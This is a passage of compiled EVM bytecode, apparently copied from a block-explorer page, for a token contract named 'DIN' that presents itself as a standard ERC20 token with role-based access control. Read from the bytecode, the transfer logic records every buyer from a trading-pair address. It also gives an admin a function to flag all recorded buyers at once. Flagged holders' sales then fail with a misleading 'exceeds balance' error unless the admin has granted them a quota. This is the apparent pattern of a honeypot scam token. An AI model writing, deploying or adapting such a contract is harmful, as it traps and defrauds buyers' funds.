473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610ee281610edd610f92565b6119c9565b600160075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe906125ec565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061267a565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114f919061209b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190612708565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f90612708565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290612796565b60405180910390fd5b5f82116112c6575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611381578260095f600a5481526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5461137a9190612433565b600a819055505b600b60149054906101000a900460ff16156114835760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061143d5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b611482575f611481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611478906127fe565b60405180910390fd5b5b5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361168157600160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414801561156157508160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b156115fc576115b68260085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1b90919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061167c565b5f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541461167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612796565b60405180910390fd5b5b61187c565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461187b57600160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414801561175f57508160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b156117fa576117b48260085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1b90919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187a565b5f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090612796565b60405180910390fd5b5b5b5b61188f8282611c1b90919063ffffffff16565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061191e825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c3090919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119bb919061209b565b60405180910390a350505050565b6119d38282610ae0565b611a61576119f88173ffffffffffffffffffffffffffffffffffffffff166014611c45565b611a05835f1c6020611c45565b604051602001611a169291906128ea565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a589190611fa1565b60405180910390fd5b5050565b611a6f8282610ae0565b611b3c57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611ae1610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b611b4a8282610ae0565b15611c17575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611bbc610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f8183611c289190612923565b905092915050565b5f8183611c3d9190612433565b905092915050565b60605f6002836002611c57919061253b565b611c619190612433565b67ffffffffffffffff811115611c7a57611c79612956565b5b6040519080825280601f01601f191660200182016040528015611cac5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611ce357611ce2612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611d4657611d45612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f6001846002611d84919061253b565b611d8e9190612433565b90505b6001811115611e2d577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611dd057611dcf612983565b5b1a60f81b828281518110611de757611de6612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c945080611e26906129b0565b9050611d91565b505f8414611e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6790612a21565b60405180910390fd5b8091505092915050565b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eb281611e7e565b8114611ebc575f80fd5b50565b5f81359050611ecd81611ea9565b92915050565b5f60208284031215611ee857611ee7611e7a565b5b5f611ef584828501611ebf565b91505092915050565b5f8115159050919050565b611f1281611efe565b82525050565b5f602082019050611f2b5f830184611f09565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fea82611fc1565b9050919050565b611ffa81611fe0565b8114612004575f80fd5b50565b5f8135905061201581611ff1565b92915050565b5f819050919050565b61202d8161201b565b8114612037575f80fd5b50565b5f8135905061204881612024565b92915050565b5f806040838503121561206457612063611e7a565b5b5f61207185828601612007565b92505060206120828582860161203a565b9150509250929050565b6120958161201b565b82525050565b5f6020820190506120ae5f83018461208c565b92915050565b5f805f606084860312156120cb576120ca611e7a565b5b5f6120d886828701612007565b93505060206120e986828701612007565b92505060406120fa8682870161203a565b9150509250925092565b5f819050919050565b61211681612104565b8114612120575f80fd5b50565b5f813590506121318161210d565b92915050565b5f6020828403121561214c5761214b611e7a565b5b5f61215984828501612123565b91505092915050565b61216b81612104565b82525050565b5f6020820190506121845f830184612162565b92915050565b61219381611fe0565b82525050565b5f6020820190506121ac5f83018461218a565b92915050565b5f80604083850312156121c8576121c7611e7a565b5b5f6121d585828601612123565b92505060206121e685828601612007565b9150509250929050565b5f60ff82169050919050565b612205816121f0565b82525050565b5f60208201905061221e5f8301846121fc565b92915050565b5f6020828403121561223957612238611e7a565b5b5f61224684828501612007565b91505092915050565b5f806040838503121561226557612264611e7a565b5b5f61227285828601612007565b925050602061228385828601612007565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122d157607f821691505b6020821081036122e4576122e361228d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612344602883611f3b565b915061234f826122ea565b604082019050919050565b5f6020820190508181035f83015261237181612338565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6123d2602f83611f3b565b91506123dd82612378565b604082019050919050565b5f6020820190508181035f8301526123ff816123c6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61243d8261201b565b91506124488361201b565b92508282019050808211156124605761245f612406565b5b92915050565b5f6124708261201b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124a2576124a1612406565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612507602583611f3b565b9150612512826124ad565b604082019050919050565b5f6020820190508181035f830152612534816124fb565b9050919050565b5f6125458261201b565b91506125508361201b565b925082820261255e8161201b565b9150828204841483151761257557612574612406565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125d6602483611f3b565b91506125e18261257c565b604082019050919050565b5f6020820190508181035f830152612603816125ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612664602283611f3b565b915061266f8261260a565b604082019050919050565b5f6020820190508181035f83015261269181612658565b9050919050565b7f45524332303a7472616e736665722066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126f2602483611f3b565b91506126fd82612698565b604082019050919050565b5f6020820190508181035f83015261271f816126e6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612780602683611f3b565b915061278b82612726565b604082019050919050565b5f6020820190508181035f8301526127ad81612774565b9050919050565b7f7472616e7366657220697320436c6f73650000000000000000000000000000005f82015250565b5f6127e8601183611f3b565b91506127f3826127b4565b602082019050919050565b5f6020820190508181035f830152612815816127dc565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f61285a60178361281c565b915061286582612826565b601782019050919050565b5f61287a82611f31565b612884818561281c565b9350612894818560208601611f4b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f6128d460118361281c565b91506128df826128a0565b601182019050919050565b5f6128f48261284e565b91506129008285612870565b915061290b826128c8565b91506129178284612870565b91508190509392505050565b5f61292d8261201b565b91506129388361201b565b92508282039050818111156129505761294f612406565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129ba8261201b565b91505f82036129cc576129cb612406565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612a0b602083611f3b565b9150612a16826129d7565b602082019050919050565b5f6020820190508181035f830152612a38816129ff565b905091905056fea2646970667358221220d0db1422f05aa8a9cd643d1f69f8e376527aef14ec2f7f978fd5f885072b389664736f6c63430008190033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000c631263365547ee2191f1b358214e04e678f023e000000000000000000000000000000000000000000000000000000000000000344494e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000344494e0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806362778bd7116100f7578063c35789cc11610095578063d84076e61161006f578063d84076e6146104cd578063d8b98fca146104e9578063dd62ed3e14610505578063fdb2494f14610535576101a7565b8063c35789cc1461048b578063d547741f14610495578063d7feaf15146104b1576101a7565b806391d14854116100d157806391d14854146103dd57806395d89b411461040d578063a457c2d71461042b578063a9059cbb1461045b576101a7565b806362778bd71461037357806370a082311461038f578063869cc52d146103bf576101a7565b806325311bcf11610164578063313ce5671161013e578063313ce567146102ff57806336568abe1461031d578063395093511461033957806359ebeb9014610369576101a7565b806325311bcf146102a75780632a0acc6a146102c55780632f2ff15d146102e3576101a7565b806301ffc9a7146101ab57806306fdde03146101db578063095ea7b3146101f957806318160ddd1461022957806323b872dd14610247578063248a9ca314610277575b5f80fd5b6101c560048036038101906101c09190611ed3565b610551565b6040516101d29190611f18565b60405180910390f35b6101e36105ca565b6040516101f09190611fa1565b60405180910390f35b610213600480360381019061020e919061204e565b61065a565b6040516102209190611f18565b60405180910390f35b610231610677565b60405161023e919061209b565b60405180910390f35b610261600480360381019061025c91906120b4565b610680565b60405161026e9190611f18565b60405180910390f35b610291600480360381019061028c9190612137565b610772565b60405161029e9190612171565b60405180910390f35b6102af61078f565b6040516102bc9190612199565b60405180910390f35b6102cd6107b4565b6040516102da9190612171565b60405180910390f35b6102fd60048036038101906102f891906121b2565b6107ba565b005b6103076107dd565b604051610314919061220b565b60405180910390f35b610337600480360381019061033291906121b2565b6107e5565b005b610353600480360381019061034e919061204e565b610868565b6040516103609190611f18565b60405180910390f35b61037161090f565b005b61038d60048036038101906103889190612224565b610940565b005b6103a960048036038101906103a49190612224565b610998565b6040516103b6919061209b565b60405180910390f35b6103c76109dd565b6040516103d4919061209b565b60405180910390f35b6103f760048036038101906103f291906121b2565b610ae0565b6040516104049190611f18565b60405180910390f35b610415610b44565b6040516104229190611fa1565b60405180910390f35b6104456004803603810190610440919061204e565b610bd4565b6040516104529190611f18565b60405180910390f35b6104756004803603810190610470919061204e565b610cba565b6040516104829190611f18565b60405180910390f35b610493610cd7565b005b6104af60048036038101906104aa91906121b2565b610d09565b005b6104cb60048036038101906104c69190612224565b610d2c565b005b6104e760048036038101906104e2919061204e565b610d86565b005b61050360048036038101906104fe9190612224565b610df4565b005b61051f600480360381019061051a919061224f565b610e4c565b60405161052c919061209b565b60405180910390f35b61054f600480360381019061054a9190612224565b610ece565b005b5f7f5290dec6000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c357506105c282610f29565b5b9050919050565b6060600380546105d9906122ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906122ba565b80156106505780601f1061062757610100808354040283529160200191610650565b820191905f5260205f20905b81548152906001019060200180831161063357829003601f168201915b5050505050905090565b5f61066d610666610f92565b8484610f99565b6001905092915050565b5f600254905090565b5f61068c84848461115c565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d3610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610752576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107499061235a565b60405180910390fd5b6107668561075e610f92565b858403610f99565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f801b81565b5f801b6107ce816107c9610f92565b6119c9565b6107d88383611a65565b505050565b5f6012905090565b6107ed610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461085a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610851906123e8565b60405180910390fd5b6108648282611b40565b5050565b5f610905610874610f92565b848460015f610881610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109009190612433565b610f99565b6001905092915050565b5f801b6109238161091e610f92565b6119c9565b5f600b60146101000a81548160ff02191690831515021790555050565b5f801b6109548161094f610f92565b6119c9565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f1b6109f2816109ed610f92565b6119c9565b5f805b600a54811015610ad7575f60095f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ac957600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508280610ac590612466565b9350505b5080806001019150506109f5565b50809250505090565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610b53906122ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7f906122ba565b8015610bca5780601f10610ba157610100808354040283529160200191610bca565b820191905f5260205f20905b815481529060010190602001808311610bad57829003601f168201915b5050505050905090565b5f8060015f610be1610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c929061251d565b60405180910390fd5b610caf610ca6610f92565b85858403610f99565b600191505092915050565b5f610ccd610cc6610f92565b848461115c565b6001905092915050565b5f801b610ceb81610ce6610f92565b6119c9565b6001600b60146101000a81548160ff02191690831515021790555050565b5f801b610d1d81610d18610f92565b6119c9565b610d278383611b40565b505050565b5f801b610d4081610d3b610f92565b6119c9565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f801b610d9a81610d95610f92565b6119c9565b670de0b6b3a764000082610dae919061253b565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f801b610e0881610e03610f92565b6119c9565b81600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610ee281610edd610f92565b6119c9565b600160075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe906125ec565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061267a565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114f919061209b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190612708565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f90612708565b60405180910390fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290612796565b60405180910390fd5b5f82116112c6575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611381578260095f600a5481526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5461137a9190612433565b600a819055505b600b60149054906101000a900460ff16156114835760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061143d5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b611482575f611481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611478906127fe565b60405180910390fd5b5b5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361168157600160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414801561156157508160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b156115fc576115b68260085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1b90919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061167c565b5f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541461167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612796565b60405180910390fd5b5b61187c565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461187b57600160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414801561175f57508160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b156117fa576117b48260085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c1b90919063ffffffff16565b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187a565b5f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090612796565b60405180910390fd5b5b5b5b61188f8282611c1b90919063ffffffff16565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061191e825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c3090919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119bb919061209b565b60405180910390a350505050565b6119d38282610ae0565b611a61576119f88173ffffffffffffffffffffffffffffffffffffffff166014611c45565b611a05835f1c6020611c45565b604051602001611a169291906128ea565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a589190611fa1565b60405180910390fd5b5050565b611a6f8282610ae0565b611b3c57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611ae1610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b611b4a8282610ae0565b15611c17575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611bbc610f92565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f8183611c289190612923565b905092915050565b5f8183611c3d9190612433565b905092915050565b60605f6002836002611c57919061253b565b611c619190612433565b67ffffffffffffffff811115611c7a57611c79612956565b5b6040519080825280601f01601f191660200182016040528015611cac5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611ce357611ce2612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611d4657611d45612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f6001846002611d84919061253b565b611d8e9190612433565b90505b6001811115611e2d577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611dd057611dcf612983565b5b1a60f81b828281518110611de757611de6612983565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c945080611e26906129b0565b9050611d91565b505f8414611e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6790612a21565b60405180910390fd5b8091505092915050565b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eb281611e7e565b8114611ebc575f80fd5b50565b5f81359050611ecd81611ea9565b92915050565b5f60208284031215611ee857611ee7611e7a565b5b5f611ef584828501611ebf565b91505092915050565b5f8115159050919050565b611f1281611efe565b82525050565b5f602082019050611f2b5f830184611f09565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fea82611fc1565b9050919050565b611ffa81611fe0565b8114612004575f80fd5b50565b5f8135905061201581611ff1565b92915050565b5f819050919050565b61202d8161201b565b8114612037575f80fd5b50565b5f8135905061204881612024565b92915050565b5f806040838503121561206457612063611e7a565b5b5f61207185828601612007565b92505060206120828582860161203a565b9150509250929050565b6120958161201b565b82525050565b5f6020820190506120ae5f83018461208c565b92915050565b5f805f606084860312156120cb576120ca611e7a565b5b5f6120d886828701612007565b93505060206120e986828701612007565b92505060406120fa8682870161203a565b9150509250925092565b5f819050919050565b61211681612104565b8114612120575f80fd5b50565b5f813590506121318161210d565b92915050565b5f6020828403121561214c5761214b611e7a565b5b5f61215984828501612123565b91505092915050565b61216b81612104565b82525050565b5f6020820190506121845f830184612162565b92915050565b61219381611fe0565b82525050565b5f6020820190506121ac5f83018461218a565b92915050565b5f80604083850312156121c8576121c7611e7a565b5b5f6121d585828601612123565b92505060206121e685828601612007565b9150509250929050565b5f60ff82169050919050565b612205816121f0565b82525050565b5f60208201905061221e